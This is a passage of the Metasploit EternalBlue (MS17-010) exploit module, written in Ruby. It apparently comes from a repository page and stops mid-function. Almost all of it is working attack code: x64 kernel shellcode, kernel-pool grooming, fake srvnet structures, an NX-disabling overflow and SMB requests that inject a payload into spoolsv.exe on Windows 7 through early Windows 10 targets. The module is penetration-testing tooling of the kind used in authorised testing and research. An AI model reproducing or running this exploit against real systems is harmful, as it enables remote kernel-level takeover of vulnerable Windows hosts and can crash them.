1636 lines
58 KiB
Ruby
1636 lines
58 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'ruby_smb'
|
|
require 'ruby_smb/smb1/packet'
|
|
require 'rubyntlm'
|
|
require 'windows_error'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::CheckModule
|
|
include Msf::Exploit::Deprecated
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
moved_from 'exploit/windows/smb/ms17_010_eternalblue_win8'
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
|
|
'Description' => %q{
|
|
This module is a port of the Equation Group ETERNALBLUE exploit, part of
|
|
the FuzzBunch toolkit released by Shadow Brokers.
|
|
|
|
There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
|
|
is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
|
|
DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
|
|
is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
|
|
completed in srvnet!SrvNetWskReceiveComplete.
|
|
|
|
This exploit, like the original may not trigger 100% of the time, and should be
|
|
run continuously until triggered. It seems like the pool will get hot streaks
|
|
and need a cool down period before the shells rain in again.
|
|
|
|
The module will attempt to use Anonymous login, by default, to authenticate to perform the
|
|
exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
|
|
those instead.
|
|
|
|
On some systems, this module may cause system instability and crashes, such as a BSOD or
|
|
a reboot. This may be more likely with some payloads.
|
|
},
|
|
|
|
'Author' =>
|
|
[
|
|
# Original Exploit
|
|
'Equation Group', # OG research and exploit
|
|
'Shadow Brokers', # Hack and dump
|
|
'sleepya', # Research and PoC
|
|
|
|
# Original win7 module
|
|
'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0
|
|
'Dylan Davis <dylan.davis@risksense.com>', # @jennamagius
|
|
'thelightcosine', # RubySMB refactor and Fallback Credential mode
|
|
|
|
# Original win8 module
|
|
'wvu', # Babby's first external module
|
|
'agalway-r7', # External python module to internal ruby module (sorry wvu)
|
|
'cdelafuente-r7', # ruby_smb wizard
|
|
'cdelafuente-r7', # kernel debugging wizard
|
|
|
|
# Combining the two
|
|
'agalway-r7' # am good at copy pasta
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
# Win 7
|
|
['MSB', 'MS17-010'],
|
|
['CVE', '2017-0143'],
|
|
['CVE', '2017-0144'],
|
|
['CVE', '2017-0145'],
|
|
['CVE', '2017-0146'],
|
|
['CVE', '2017-0147'],
|
|
['CVE', '2017-0148'],
|
|
['URL', 'https://github.com/RiskSense-Ops/MS17-010'],
|
|
['URL', 'https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf'],
|
|
|
|
# Win 8
|
|
['EDB', '42030'],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'CheckModule' => 'auxiliary/scanner/smb/smb_ms17_010',
|
|
'EXITFUNC' => 'thread',
|
|
'WfsDelay' => 5
|
|
},
|
|
'Privileged' => true,
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X64],
|
|
'Payload' => {
|
|
'Space' => 2000, # this can be more, needs to be recalculated
|
|
'EncoderType' => Msf::Encoder::Type::Raw,
|
|
'DisableNops' => true
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic Target', {} ],
|
|
[
|
|
'Windows 7',
|
|
{
|
|
'os_patterns' => ['Windows 7']
|
|
}
|
|
],
|
|
[
|
|
'Windows Embedded Standard 7',
|
|
{
|
|
'os_patterns' => ['Windows Embedded Standard 7']
|
|
}
|
|
],
|
|
[
|
|
'Windows Server 2008 R2',
|
|
{
|
|
'os_patterns' => ['Windows Server 2008 R2']
|
|
}
|
|
],
|
|
[
|
|
'Windows 8',
|
|
{
|
|
'os_patterns' => ['Windows 8']
|
|
}
|
|
],
|
|
[
|
|
'Windows 8.1',
|
|
{
|
|
'os_patterns' => ['Windows 8.1']
|
|
}
|
|
],
|
|
[
|
|
'Windows Server 2012',
|
|
{
|
|
'os_patterns' => ['Windows Server 2012']
|
|
}
|
|
],
|
|
[
|
|
'Windows 10 Pro',
|
|
{
|
|
'os_patterns' => ['Windows Pro Build']
|
|
}
|
|
],
|
|
[
|
|
'Windows 10 Enterprise Evaluation',
|
|
{
|
|
'os_patterns' => ['Windows 10 Enterprise Evaluation Build']
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Notes' =>
|
|
{
|
|
'AKA' => ['ETERNALBLUE']
|
|
},
|
|
'DisclosureDate' => '2017-03-14'
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RHOSTS,
|
|
Opt::RPORT(445),
|
|
OptString.new('SMBUser', [false, '(Optional) The username to authenticate as', ''], fallbacks: ['USERNAME']),
|
|
OptString.new('SMBPass', [false, '(Optional) The password for the specified username', ''], fallbacks: ['PASSWORD']),
|
|
OptString.new('SMBDomain', [
|
|
false,
|
|
'(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7,' \
|
|
' Windows Embedded Standard 7 target machines.',
|
|
''
|
|
]),
|
|
OptBool.new('VERIFY_TARGET', [
|
|
true,
|
|
'Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded' \
|
|
' Standard 7 target machines.',
|
|
true
|
|
]),
|
|
OptBool.new('VERIFY_ARCH', [
|
|
true,
|
|
'Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7,' \
|
|
' Windows Embedded Standard 7 target machines.',
|
|
true
|
|
])
|
|
]
|
|
)
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('ProcessName', [true, 'Process to inject payload into.', 'spoolsv.exe']),
|
|
OptInt.new('GroomAllocations', [true, 'Initial number of times to groom the kernel pool.', 12]),
|
|
OptInt.new('MaxExploitAttempts', [
|
|
true,
|
|
'The number of times to retry the exploit. Useful as EternalBlue can sometimes require multiple attempts to' \
|
|
' get a successful execution.',
|
|
3
|
|
]),
|
|
OptInt.new('GroomDelta', [
|
|
true,
|
|
'The amount to increase the groom count by per try. Only affects Windows Server 2008 R2, Windows 7, Windows' \
|
|
' Embedded Standard 7 target machines.',
|
|
5
|
|
])
|
|
]
|
|
)
|
|
end
|
|
|
|
def generate_process_hash(process)
|
|
[Rex::Text.ror13_hash(process + "\x00")].pack('l<')
|
|
end
|
|
|
|
# ring3 = user mode encoded payload
|
|
# proc_name = process to inject APC into
|
|
def make_kernel_user_payload(ring3, proc_name)
|
|
proc_hash = generate_process_hash(proc_name)
|
|
|
|
sc = (
|
|
"\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d" \
|
|
"\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a" \
|
|
"\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48" \
|
|
"\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48" \
|
|
"\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8" \
|
|
"\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8" \
|
|
"\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50" \
|
|
"\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48" \
|
|
"\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31" \
|
|
"\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0" \
|
|
"\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa" \
|
|
"\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57" \
|
|
"\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49" \
|
|
"\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d" \
|
|
"\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00" \
|
|
"\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f" \
|
|
"\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00" \
|
|
"\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04" \
|
|
"\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00" \
|
|
"\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6" \
|
|
"\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78" \
|
|
"\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d" +
|
|
proc_hash + "\x74\x10\x3d" + proc_hash + "\x74\x09\x48\x8b\x0c" \
|
|
"\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00" \
|
|
"\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b" \
|
|
"\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce" \
|
|
"\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74" \
|
|
"\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00" \
|
|
"\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d" \
|
|
"\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46" \
|
|
"\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3" \
|
|
"\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89" \
|
|
"\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02" \
|
|
"\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84" \
|
|
"\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20" \
|
|
"\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00" \
|
|
"\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c" \
|
|
"\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59" \
|
|
"\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75" \
|
|
"\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b" \
|
|
"\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89" \
|
|
"\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06" \
|
|
"\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65" \
|
|
"\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e" \
|
|
"\x48\x8d\x35\x6a\x00\x00\x00" \
|
|
"\xb9#{[ ring3.length ].pack('s')}\x00\x00" \
|
|
"\xf3\xa4\x48\x8b" \
|
|
"\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83" \
|
|
"\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32" \
|
|
"\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff" \
|
|
"\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22" \
|
|
"\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49" \
|
|
"\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20" \
|
|
"\xff\xd0\x48\x83\xc4\x30\xc3"
|
|
)
|
|
sc << ring3
|
|
sc
|
|
end
|
|
|
|
def exploit
|
|
check_code = check
|
|
|
|
if check_code.code == 'vulnerable'
|
|
print_good('The target is vulnerable.')
|
|
else
|
|
print_bad('The target is not vulnerable.')
|
|
end
|
|
|
|
if check_code.details[:arch] == ARCH_X86
|
|
fail_with(Failure::NoTarget, 'This module only supports x64 (64-bit) targets')
|
|
end
|
|
|
|
if datastore['ForceExploit'] == 'true' || check_code.code == 'vulnerable'
|
|
print_status('Forcing Exploit') if datastore['ForceExploit'] == 'true'
|
|
|
|
os = Recog::Nizer.match('smb.native_os', check_code.details[:os])
|
|
|
|
if os.nil?
|
|
if target.name == 'Automatic Target'
|
|
targs = ''
|
|
targets[1..-1].each { |t| targs += "#{t.name}\n" }
|
|
|
|
msg = "Could not determine victim OS. If the victim OS is one of the below options:\n"\
|
|
"#{targs}"\
|
|
"\nThen it can be selected manually with 'set TARGET <OS_NAME>'"
|
|
fail_with(Failure::NoTarget, msg)
|
|
else
|
|
os = target.name
|
|
end
|
|
else
|
|
os = os['os.product']
|
|
end
|
|
|
|
if os.start_with?('Windows 8', 'Windows 10', 'Windows Server 2012', 'Windows 2012')
|
|
extend(EternalBlueWin8)
|
|
else
|
|
extend(EternalBlueWin7)
|
|
end
|
|
|
|
exploit_eb
|
|
end
|
|
end
|
|
end
|
|
|
|
module EternalBlueWin8
|
|
MAX_SHELLCODE_SIZE = 3712
|
|
|
|
# debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
|
|
# The 0xffffffffffd00000 address should be useable when debug mode is not enabled
|
|
# The 0xffffffffffd01000 address should be useable when debug mode is enabled
|
|
TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
|
|
|
|
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
|
|
NTFEA_SIZE = 0x9000
|
|
|
|
NTLM_FLAGS = Net::NTLM::FLAGS[:KEY56] +
|
|
Net::NTLM::FLAGS[:KEY128] +
|
|
Net::NTLM::FLAGS[:TARGET_INFO] +
|
|
Net::NTLM::FLAGS[:NTLM2_KEY] +
|
|
Net::NTLM::FLAGS[:NTLM] +
|
|
Net::NTLM::FLAGS[:REQUEST_TARGET] +
|
|
Net::NTLM::FLAGS[:UNICODE]
|
|
|
|
NTFEA_9000 = (([0, 0, 0].pack('CCS<') + "\x00") * 0x260 + # with these fea, ntfea size is 0x1c80
|
|
[0, 0, 0x735c].pack('CCS<') + "\x00" * 0x735d + # 0x8fe8 - 0x1c80 - 0xc = 0x735c
|
|
[0, 0, 0x8147].pack('CCS<') + "\x00" * 0x8148) # overflow to SRVNET_BUFFER_HDR
|
|
|
|
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
|
|
|
|
# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
|
|
# x64: fake struct is at ffffffff ffd00e00
|
|
# offset 0x50: KSPIN_LOCK
|
|
# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
|
|
# offset 0x110: array of pointer to function
|
|
# offset 0x13c: set to 3 (DWORD) for invoking ptr to function
|
|
# some useful offset
|
|
# offset 0x120: arg1 when invoking ptr to function
|
|
# offset 0x128: arg2 when invoking ptr to function
|
|
#
|
|
# code path to get code exception after this struct is controlled
|
|
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
|
|
def fake_recv_struct
|
|
struct = "\x00" * 80
|
|
struct << [0, TARGET_HAL_HEAP_ADDR + 0x58].pack('QQ<')
|
|
struct << [TARGET_HAL_HEAP_ADDR + 0x58, 0].pack('QQ<') # offset 0x60
|
|
struct << ("\x00" * 16) * 10
|
|
struct << [TARGET_HAL_HEAP_ADDR + 0x170, 0].pack('QQ<') # offset 0x110: fn_ptr array
|
|
struct << [(0x8150 ^ 0xffffffffffffffff) + 1, 0].pack('QQ<') # set arg1 to -0x8150
|
|
struct << [0, 0, 3].pack('QII<') # offset 0x130
|
|
struct << ("\x00" * 16) * 3
|
|
struct << [0, TARGET_HAL_HEAP_ADDR + 0x180].pack('QQ<') # shellcode address
|
|
struct
|
|
end
|
|
|
|
def custom_smb_client
|
|
sock = Rex::Socket::Tcp.create(
|
|
'PeerHost' => rhost,
|
|
'PeerPort' => rport,
|
|
'Proxies' => proxies,
|
|
'Context' => {
|
|
'Msf' => framework,
|
|
'MsfExploit' => self
|
|
}
|
|
)
|
|
|
|
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
|
|
|
|
client = CustomSessionSetupPacketRubySMBClient.new(dispatcher, smb1: true, smb2: false, smb3: false,
|
|
username: smb_user, domain: smb_domain, password: smb_pass,
|
|
ntlm_flags: NTLM_FLAGS)
|
|
|
|
return client, sock
|
|
end
|
|
|
|
def smb1_connect_ipc(negotiate_only: false, session_setup_packet: nil, session_setup_auth_packet: nil)
|
|
begin
|
|
client, sock = custom_smb_client
|
|
|
|
if negotiate_only
|
|
client.negotiate
|
|
return client, nil, sock
|
|
else
|
|
response_code = client.login(ntlm_flags: NTLM_FLAGS,
|
|
session_setup_packet: session_setup_packet,
|
|
session_setup_auth_packet: session_setup_auth_packet)
|
|
|
|
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
|
|
raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"
|
|
end
|
|
|
|
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
|
|
end
|
|
|
|
return client, tree, sock
|
|
rescue StandardError => e
|
|
print_error("Could not make SMBv1 connection. #{e.class} error raised with message '#{e.message}'")
|
|
elog('Could not make SMBv1 connection', error: e)
|
|
|
|
# for an as of yet undetermined reason, a connection can sometimes be created after an error during an anonymous
|
|
# login.
|
|
if client
|
|
client.disconnect!
|
|
end
|
|
|
|
raise e
|
|
end
|
|
end
|
|
|
|
def send_trans2_second(conn, tid, pid, data, displacement)
|
|
pkt = RubySMB::SMB1::Packet::Trans2::RequestSecondary.new
|
|
pkt.smb_header.tid = tid
|
|
pkt.smb_header.pid_low = pid
|
|
|
|
pkt.parameter_block.total_parameter_count = 0
|
|
pkt.parameter_block.total_data_count = data.length
|
|
|
|
fixed_offset = 32 + 3 + 18
|
|
pkt.data_block.pad1 = ''
|
|
|
|
pkt.parameter_block.parameter_count = 0
|
|
pkt.parameter_block.parameter_offset = 0
|
|
|
|
if !data.empty?
|
|
pad_len = (4 - fixed_offset % 4) % 4
|
|
|
|
if pad_len == 0
|
|
pkt.data_block.pad1 = ''
|
|
elsif pad_len == 3
|
|
pkt.data_block.pad1 = "\x00" * 2
|
|
pkt.data_block.pad1 = "\x00"
|
|
else
|
|
pkt.data_block.pad1 = "\x00" * pad_len
|
|
end
|
|
else
|
|
pkt.data_block.pad1 = ''
|
|
pad_len = 0
|
|
end
|
|
|
|
pkt.parameter_block.data_count = data.length
|
|
pkt.parameter_block.data_offset = fixed_offset + pad_len
|
|
pkt.parameter_block.data_displacement = displacement
|
|
|
|
pkt.data_block.trans2_parameters = ''
|
|
pkt.data_block.trans2_data = data
|
|
|
|
pkt.smb_header.flags2.extended_security = 1
|
|
pkt.smb_header.flags2.paging_io = 0
|
|
pkt.smb_header.flags2.unicode = 0
|
|
|
|
pkt.smb_header.uid = BinData::Bit16le.read(BinData::Bit16.new(2048).to_binary_s)
|
|
|
|
conn.send_packet(pkt)
|
|
end
|
|
|
|
# connect to target and send a large nbss size with data 0x80 bytes
|
|
# this method is for allocating big nonpaged pool on target
|
|
def create_connection_with_big_smb_first_80(for_nx: false)
|
|
sock = connect(false)
|
|
pkt = "\x00".b + "\x00".b + [0x8100].pack('S>')
|
|
# There is no need to be SMB2 because we want the target free the corrupted buffer.
|
|
# Also this is invalid SMB2 message.
|
|
# I believe NSA exploit use SMB2 for hiding alert from IDS
|
|
# pkt += '\xfeSMB' # smb2
|
|
# it can be anything even it is invalid
|
|
pkt += "\x01\x02\x03\x04"
|
|
|
|
if for_nx
|
|
# MUST set no delay because 1 byte MUST be sent immediately
|
|
sock.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
|
|
pkt += "\x00" * 0x7b # another byte will be sent later to disabling NX
|
|
else
|
|
pkt += "\x00" * 0x7c
|
|
end
|
|
|
|
sock.send(pkt, 0)
|
|
sock
|
|
end
|
|
|
|
def send_big_trans2(conn, tid, pid, setup, data, param)
|
|
first_data_fragment_size = data.length % 4096
|
|
|
|
pkt = RubySMB::SMB1::Packet::NtTrans::Request.new
|
|
pkt.smb_header.tid = tid
|
|
|
|
pkt.smb_header.pid_low = pid
|
|
|
|
command = [setup].pack('S<')
|
|
|
|
pkt.parameter_block.max_setup_count = 1
|
|
pkt.parameter_block.max_parameter_count = param.length
|
|
pkt.parameter_block.max_data_count = 0
|
|
|
|
pkt.parameter_block.setup << 0x0000
|
|
pkt.parameter_block.total_parameter_count = param.length
|
|
pkt.parameter_block.total_data_count = data.length
|
|
|
|
fixed_offset = 32 + 3 + 38 + command.length
|
|
if !param.empty?
|
|
pad_len = (4 - fixed_offset % 4) % 4
|
|
pad_bytes = "\x00" * pad_len
|
|
pkt.data_block.pad1 = pad_bytes
|
|
else
|
|
pkt.data_block.pad1 = ''
|
|
pad_len = 0
|
|
end
|
|
|
|
pkt.parameter_block.parameter_count = param.length
|
|
pkt.parameter_block.parameter_offset = fixed_offset + pad_len
|
|
|
|
if !data.empty?
|
|
pad_len = (4 - (fixed_offset + pad_len + param.length) % 4) % 4
|
|
pkt.data_block.pad2 = "\x00" * pad_len
|
|
else
|
|
pkt.data_block.pad2 = ''
|
|
pad_len = 0
|
|
end
|
|
|
|
pkt.parameter_block.data_count = first_data_fragment_size
|
|
pkt.parameter_block.data_offset = pkt.parameter_block.parameter_offset + param.length + pad_len
|
|
|
|
pkt.data_block.trans2_parameters = param
|
|
pkt.data_block.trans2_data = data.first(first_data_fragment_size)
|
|
|
|
pkt.smb_header.flags2.paging_io = 0
|
|
pkt.smb_header.flags2.extended_security = 1
|
|
|
|
begin
|
|
recv_pkt = RubySMB::SMB1::Packet::NtTrans::Response.read(conn.send_recv(pkt))
|
|
rescue RubySMB::Error::CommunicationError => e
|
|
print_status('CommunicationError encountered. Have you set SMBUser/SMBPass?')
|
|
raise e
|
|
end
|
|
|
|
if recv_pkt.status_code.value == 0
|
|
print_good('got good NT Trans response')
|
|
else
|
|
print_error("got bad NT Trans response: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")
|
|
return nil
|
|
end
|
|
|
|
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
|
|
size_of_data_to_be_sent = first_data_fragment_size
|
|
while size_of_data_to_be_sent < data.length
|
|
send_size = [4096, data.length - size_of_data_to_be_sent].min
|
|
if data.length - size_of_data_to_be_sent <= 4096
|
|
break
|
|
end
|
|
|
|
send_trans2_second(conn, tid, pid, data[size_of_data_to_be_sent...(size_of_data_to_be_sent + send_size)],
|
|
size_of_data_to_be_sent)
|
|
size_of_data_to_be_sent += send_size
|
|
end
|
|
|
|
size_of_data_to_be_sent
|
|
end
|
|
|
|
def _exploit(fea_list, shellcode, num_groom_conn, username, password)
|
|
session_setup_packet = default_session_setup_request
|
|
session_setup_auth_packet = default_session_setup_request
|
|
|
|
conn, tree, sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,
|
|
session_setup_auth_packet: session_setup_auth_packet)
|
|
|
|
pid = conn.pid
|
|
os = conn.peer_native_os
|
|
print_status("Target OS: #{os}")
|
|
|
|
if os.start_with?('Windows 10')
|
|
build = os.split.last.to_i
|
|
if build >= 14393 # version 1607
|
|
print_status('This exploit does not support this build')
|
|
return
|
|
end
|
|
elsif !(os.start_with?('Windows 8') || os.start_with?('Windows Server 2012'))
|
|
print_status('This exploit does not support this target:')
|
|
return
|
|
end
|
|
|
|
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
|
|
# Send TRANS2_OPEN2 (0) with special fea_list to a target exce
|
|
progress = send_big_trans2(conn, tree.id, pid, 0, fea_list, "\x00" * 30)
|
|
if progress.nil?
|
|
conn.disconnect!
|
|
return
|
|
end
|
|
|
|
fea_list_nx = generate_fea_list_nx
|
|
|
|
session_setup_packet = default_session_setup_request
|
|
session_setup_packet.parameter_block.vc_number = 1
|
|
|
|
session_setup_auth_packet = default_session_setup_request
|
|
session_setup_auth_packet.parameter_block.max_mpx_count = 2
|
|
session_setup_auth_packet.parameter_block.vc_number = 1
|
|
|
|
nx_conn, nx_tree, nx_sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,
|
|
session_setup_auth_packet: session_setup_auth_packet)
|
|
|
|
# Another TRANS2_OPEN2 (0) with special fea_list for disabling NX
|
|
nx_progress = send_big_trans2(nx_conn, nx_tree.id, pid, 0, fea_list_nx, "\x00" * 30)
|
|
if nx_progress.nil?
|
|
conn.disconnect!
|
|
nx_conn.disconnect!
|
|
return
|
|
end
|
|
|
|
# create some big buffer at servereternal
|
|
# this buffer MUST NOT be big enough for overflown buffer
|
|
alloc_conn, alloc_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x2010, username, password, pid)
|
|
if alloc_conn.nil?
|
|
return
|
|
end
|
|
|
|
# groom nonpaged pool
|
|
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
|
|
srvnet_conn = []
|
|
num_groom_conn.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }
|
|
|
|
# create buffer size NTFEA_SIZE at server
|
|
# this buffer will be replaced by overflown buffer
|
|
hole_conn, hole_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x10, username, password, pid)
|
|
if hole_conn.nil?
|
|
return
|
|
end
|
|
|
|
# disconnect allocConn to free buffer
|
|
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
|
|
alloc_sock.close
|
|
|
|
# hope one of srvnet_conn is next to holeConn
|
|
5.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }
|
|
|
|
# remove holeConn to create hole for fea buffer
|
|
hole_sock.close
|
|
|
|
# send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header
|
|
# first trigger, overwrite srvnet buffer struct for disabling NX
|
|
send_trans2_second(nx_conn, nx_tree.id, pid, fea_list_nx[nx_progress, fea_list_nx.length], nx_progress)
|
|
|
|
recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(nx_conn.recv_packet)
|
|
if recv_pkt.status_code.value == 0xc000000d
|
|
print_good('good response status for nx: INVALID_PARAMETER')
|
|
else
|
|
print_error("bad response status for nx: #{recv_pkt.status_code.value}")
|
|
end
|
|
|
|
# one of srvnet_conn struct header should be modified
|
|
# send '\x00' to disable nx
|
|
srvnet_conn.each { |sk| sk.send("\x00", 0) }
|
|
|
|
# send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header
|
|
# second trigger, place fake struct and shellcode
|
|
send_trans2_second(conn, tree.id, pid, fea_list[progress, fea_list.length], progress)
|
|
recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(conn.recv_packet)
|
|
if recv_pkt.status_code.value == 0xc000000d
|
|
print_good('good response status for nx: INVALID_PARAMETER')
|
|
else
|
|
print_error("bad response status for nx: #{recv_pkt.status_code.value}")
|
|
end
|
|
|
|
# one of srvnet_conn struct header should be modified
|
|
# a corrupted buffer will write recv data in designed memory address
|
|
srvnet_conn.each { |sk| sk.send(fake_recv_struct + shellcode, 0) }
|
|
|
|
# execute shellcode, at this point the shellcode should be located at ffffffff`ffd04180
|
|
srvnet_conn.each(&:close)
|
|
|
|
nx_tree.disconnect!
|
|
nx_conn.disconnect!
|
|
|
|
tree.disconnect!
|
|
conn.disconnect!
|
|
end
|
|
|
|
def create_fea_list(sc_size)
|
|
fea_list = [0x10000].pack('I<')
|
|
fea_list += NTFEA_9000
|
|
fake_srv_net_buf = create_fake_srv_net_buffer(sc_size)
|
|
fea_list += [0, 0, fake_srv_net_buf.length - 1].pack('CCS<') + fake_srv_net_buf # -1 because first '\x00' is for name
|
|
# stop copying by invalid flag (can be any value except 0 and 0x80)
|
|
fea_list += [0x12, 0x34, 0x5678].pack('CCS<')
|
|
return fea_list
|
|
end
|
|
|
|
def create_fake_srv_net_buffer(sc_size)
|
|
# 0x180 is size of fakeSrvNetBufferX64
|
|
total_recv_size = 0x80 + 0x180 + sc_size
|
|
fake_srv_net_buffer_x64 = "\x00" * 16
|
|
fake_srv_net_buffer_x64 += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<') # flag, _, _, pNetRawBuffer
|
|
fake_srv_net_buffer_x64 += [0, 0x82e8, 0].pack('QII<') # _, thisNonPagedPoolSize, _
|
|
fake_srv_net_buffer_x64 += "\x00" * 16
|
|
